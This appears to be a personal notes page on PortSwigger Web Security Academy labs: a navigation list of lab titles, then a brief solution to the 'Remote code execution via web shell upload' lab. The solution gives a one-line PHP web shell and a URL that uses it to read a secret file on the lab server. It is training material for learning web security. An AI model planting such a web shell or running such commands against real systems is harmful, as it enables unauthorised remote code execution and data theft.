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      • â™ŋApi testing
        • Lab: Exploiting an API endpoint using documentation
        • Lab: Finding and exploiting an unused API endpoint
        • Lab: Exploiting a mass assignment vulnerability
        • Lab: Exploiting server-side parameter pollution in a query string
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        • Lab: Username enumeration via different responses
        • Lab: Username enumeration via subtly different responses
        • Lab: Username enumeration via response timing
        • Lab: Broken brute-force protection, IP block
        • Lab: Username enumeration via account lock
        • Lab: 2FA simple bypass
        • Lab: 2FA broken logic
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        • Lab: Offline password cracking
        • Lab: Password reset broken logic
        • Lab: Password reset poisoning via middleware
        • Lab: Password brute-force via password change
      • 📁File upload vulnerabilities
        • Lab: Remote code execution via web shell upload
        • Lab: Web shell upload via Content-Type restriction bypass
        • Lab: Web shell upload via path traversal
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        • Lab: Accessing private GraphQL posts
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          • Lab: File path traversal, simple case
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          • Lab: Username enumeration via different responses
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          • SSRF attacks against the server
          • Lab: Basic SSRF against the local server
          • Lab: Basic SSRF against another back-end system
        • 🆙File upload vulnerabilities
          • Lab: Remote code execution via web shell upload
          • Lab: Web shell upload via Content-Type restriction bypass
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          • Lab: OS command injection, simple case
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          • Lab: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data
          • Lab: SQL injection vulnerability allowing login bypass
      • đŸ§ĻWebSockets
        • Lab: Manipulating WebSocket messages to exploit vulnerabilities
        • Lab: Manipulating the WebSocket handshake to exploit vulnerabilities
        • Lab: Cross-site WebSocket hijacking
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  1. PortSwigger
  2. Learning Path
  3. Server-side vulnerabilities
  4. File upload vulnerabilities

Lab: Remote code execution via web shell upload

https://portswigger.net/web-security/learning-paths/server-side-vulnerabilities-apprentice/file-upload-apprentice/file-upload/lab-file-upload-remote-code-execution-via-web-shell-upload

shell.php
<?php echo system($_GET['command']); ?>
url to cat secret
https://0a2700d804577aa981ca662e005800d2.web-security-academy.net/files/avatars/shell.php?command=cat+/home/carlos/secret

Secret might be twice as long, remove dublicated part

Last updated 5 months ago

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